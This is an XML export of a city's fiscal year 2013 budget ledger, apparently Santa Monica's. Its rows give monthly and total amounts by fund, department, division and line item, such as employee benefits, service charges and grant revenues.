<row _id="1699"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>88497.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>88497.0</total></row>
<row _id="1700"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4387.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>44</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4431.0</total></row>
<row _id="1701"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>10198.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>102</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10300.0</total></row>
<row _id="1702"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511712.0</object><object_description>MEDICARE-FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>233693.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>233693.0</total></row>
<row _id="1703"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6005.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>60</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6065.0</total></row>
<row _id="1704"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>43636.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>436</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>44072.0</total></row>
<row _id="1705"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>10356.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-1038</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9318.0</total></row>
<row _id="1706"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>400850.0</object><object_description>SWIM CENTER-SMC</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-345100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-345100.0</total></row>
<row _id="1707"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>407170.0</object><object_description>LA COUNTY PROP A O&amp;M REIMB</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-28260.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-28260.0</total></row>
<row _id="1708"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>400660.0</object><object_description>TECHNOLOGY ENHANCEMENT FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-255000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-255000.0</total></row>
<row _id="1709"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>46341.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>46341.0</total></row>
<row _id="1710"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>86306.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>863</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>87169.0</total></row>
<row _id="1711"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3301.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>33</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3334.0</total></row>
<row _id="1712"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>400940.0</object><object_description>CDBG CURRENT ALLOCATION</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-1027619.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1027619.0</total></row>
<row _id="1713"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5476.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5476.0</total></row>
<row _id="1714"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3200.0</total></row>
<row _id="1715"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5214.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5214.0</total></row>
<row _id="1716"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1459.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>15</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1474.0</total></row>
<row _id="1717"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1865.0</july><august>0</august><september>0.0</september><october>-600.0</october><november>0</november><december>0</december><january>0.0</january><february>13</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1278.0</total></row>
<row _id="1718"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>577580.0</object><object_description>BEACH / PIER REIMBURSEMENT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>158695.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>158695.0</total></row>
<row _id="1719"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>578310.0</object><object_description>POLICE BEACH PATROL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>315652.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>315652.0</total></row>
<row _id="1720"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7938.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7938.0</total></row>
<row _id="1721"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401730.0</object><object_description>LIBRARY CAFE UTILITY REIMBURSE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-11000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-11000.0</total></row>
<row _id="1722"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>718.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>50</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>768.0</total></row>
<row _id="1723"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>650.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>650.0</total></row>
<row _id="1724"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>55</fund_id><fund_name>Info Tech Rplcmnt &amp; Svcs Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>407250.0</object><object_description>TELECOMMUNICATIONS SERVICES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-519697.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-519697.0</total></row>
<row _id="1725"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>626</division_id><division_name>PIER DIVISION</division_name><object>402020.0</object><object_description>SM PIER - PARKING LOTS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-1459866.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1459866.0</total></row>
<row _id="1726"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>626</division_id><division_name>PIER DIVISION</division_name><object>402550.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>-58000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-58000.0</total></row>
<row _id="1727"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>626</division_id><division_name>PIER DIVISION</division_name><object>404610.0</object><object_description>PROMOTIONAL FEES</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-64763.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-64763.0</total></row>
<row _id="1728"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>7195.0</july><august>0</august><september>0.0</september><october>163.0</october><november>0</november><december>0</december><january>0.0</january><february>74</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7432.0</total></row>
<row _id="1729"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="1730"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>19988.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>19988.0</total></row>
<row _id="1731"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3143.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3143.0</total></row>
<row _id="1732"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>767.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>8</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>775.0</total></row>
<row _id="1733"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>19503.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>19503.0</total></row>
<row _id="1734"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>577970.0</object><object_description>INSURANCE ADMIN</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>61000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>61000.0</total></row>
<row _id="1735"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>566640.0</object><object_description>STATE RECYCLING PROGRAM</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>44500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>44500.0</total></row>
<row _id="1736"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>53</fund_id><fund_name>Parks and Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>514</division_id><division_name>OPEN SPACE MANAGEMENT</division_name><object>402930.0</object><object_description>UNIT DWELLING TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2013</fiscal_year><july>-25000.0</july><august>0</august><september>25000.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="1737"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>401900.0</object><object_description>FALSE ALARM</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-8000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-8000.0</total></row>
<row _id="1738"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577704.0</object><object_description>PROP A REIMB-BUS STOP/SHELTER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>-60000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-60000.0</total></row>
<row _id="1739"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>26071.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>2607</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>28678.0</total></row>
<row _id="1740"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2783.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2783.0</total></row>
<row _id="1741"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>566880.0</object><object_description>EXPLORER POST</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4494.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4494.0</total></row>
<row _id="1742"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>407480.0</object><object_description>AIRPORT PARK DROP IN PROGRAM</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-9585.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-9585.0</total></row>
<row _id="1743"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402130.0</object><object_description>AIRPORT - LAND LEASE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-2063297.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2063297.0</total></row>
<row _id="1744"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>204.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>204.0</total></row>
